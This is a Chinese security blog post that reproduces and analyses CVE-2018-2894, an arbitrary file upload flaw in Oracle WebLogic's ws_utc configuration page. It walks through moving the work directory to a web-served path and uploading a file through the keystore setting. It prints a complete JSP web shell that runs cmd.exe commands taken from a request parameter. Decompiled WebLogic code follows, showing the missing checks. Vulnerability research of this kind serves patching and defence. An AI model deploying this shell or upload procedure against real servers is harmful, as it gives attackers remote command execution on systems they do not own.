WebLogic任意文件上传漏洞复现与分析

  • A+
所属分类:网络安全文章
腾讯云网站解决方案帮您轻松应对建站成本高/网络不稳定/安全漏洞多/单点部署无冗余等常见问题,满足电商/直播/教育等日均PV1-100万的网站部署需求。


成都、重庆区云产品3折特惠,全新机型计算提速,最高睿频可达3.7GHz

CVE-2018-2894

漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3

下载地址

漏洞复现

服务启动后,访问 http://localhost:7001/ws_utc/config.do

WebLogic任意文件上传漏洞复现与分析

可以将当前的工作目录为更改为其他目录。以本地环境为例,可以部署到

  1. C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war

选择右边的安全栏目,添加JKS Keystores上传文件。假设chybeta.jsp内容如下:

  1. <%@ page import="java.util.*,java.io.*,java.net.*"%>
  2. <HTML><BODY>
  3. <FORM METHOD="POST" NAME="myform" ACTION="">
  4. <INPUT TYPE="text" NAME="cmd">
  5. <INPUT TYPE="submit" VALUE="Send">
  6. </FORM>
  7. <pre>
  8. <%
  9. if (request.getParameter("cmd") != null) {
  10.         out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
  11.         Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
  12.         OutputStream os = p.getOutputStream();
  13.         InputStream in = p.getInputStream();
  14.         DataInputStream dis = new DataInputStream(in);
  15.         String disr = dis.readLine();
  16.         while ( disr != null ) {
  17.                 out.println(disr); disr = dis.readLine(); }
  18.         }
  19. %>
  20. </pre>
  21. </BODY></HTML>

抓包获取到时间戳为1531987145013,

则上传到的位置即 config\keystore\1531987145013_chybeta.jsp

访问http://localhost:7001/ws_utc/config/keystore/1531987145013_chybeta.jsp

简要漏洞分析

  1. ws-testpage-impl.jar!/com/oracle/webservices/testclient/setting/TestClientWorkDirManager.class:59:
  1. public void changeWorkDir(String path) {
  2.     String[] oldPaths = this.getRelatedPaths();
  3.     if (this.testPageProvider.getWsImplType() == ImplType.JRF) {
  4.         this.isWorkDirChangeable = false;
  5.         this.isWorkDirWritable = isDirWritable(path);
  6.         this.isWorkDirChangeable = true;
  7.         this.setTestClientWorkDir(path);
  8.     } else {
  9.         this.persistWorkDir(path);
  10.         this.init();
  11.     }
  12.     if (this.isWorkDirWritable) {
  13.         String[] newPaths = this.getRelatedPaths();
  14.         moveDirs(oldPaths, newPaths);
  15.     } else {
  16.         Logger.fine("[INFO] Newly specified TestClient Working Dir is readonly. Won't move the configuration stuff to new path.");
  17.     }
  18. }

此函数用于改变工作目录,但其中并未做任何检测。

  1. 在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/res/SettingResource.class:181中:
  1. @Path("/keystore")
  2.     @POST
  3.     @Produces({"application/xml""application/json"})
  4.     @Consumes({"multipart/form-data"})
  5.     public Response editKeyStoreSettingByMultiPart(FormDataMultiPart formPartParams) {
  6.         if (!RequestUtil.isRequstedByAdmin(this.request)) {
  7.             return Response.status(Status.FORBIDDEN).build();
  8.         } else {
  9.             if (TestClientRT.isVerbose()) {
  10.                 Logger.fine("calling SettingResource.addKeyStoreSettingByMultiPart");
  11.             }
  12.             String currentTimeValue = "" + (new Date()).getTime();
  13.             KeyValuesMap<String, String> formParams = RSDataHelper.getInstance().convertFormDataMultiPart(formPartParams, true, TestClientRT.getKeyStorePath(), currentTimeValue);
  14.             ....
  15.         }
  16.     }
  1. 跟入ws-testpage-impl.jar!/com/oracle/webservices/testclient/core/ws/cdf/config/parameter/TestClientRT.class:31
  1. public static String getKeyStorePath() {
  2.         return getConfigDir() + File.separator + "keystore";
  3.     }

得到要写入的路径storePath。

  1. 在ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:145:
  1. public KeyValuesMap<String, String> convertFormDataMultiPart(FormDataMultiPart formPartParams, boolean isExtactAttachment, String path, String fileNamePrefix) {
  2.     ...
  3.     if (attachName != null && attachName.trim().length() > 0) {
  4.         if (attachName != null && attachName.trim().length() != 0) {
  5.             attachName = this.refactorAttachName(attachName);
  6.             if (fileNamePrefix == null) {
  7.                 fileNamePrefix = key;
  8.             }
  9.             String filename = (new File(storePath, fileNamePrefix + "_" + attachName)).getAbsolutePath();
  10.             kvMap.addValue(key, filename);
  11.             if (isExtactAttachment) {
  12.                 this.saveAttachedFile(filename, (InputStream)bodyPart.getValueAs(InputStream.class));
  13.             }
  14.         }
  15.     }
  16.     ...
  17. }

把上传文件的内容传到了storePath目录里,文件名满足fileNamePrefix + "_" + attachName。这过程没有任何过滤和检查:)...

条件:

需要知道部署应用的web目录

ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。

具体可见Oracle® Fusion Middleware Administering Web Services

CE安全网

发表评论

您必须登录才能发表评论!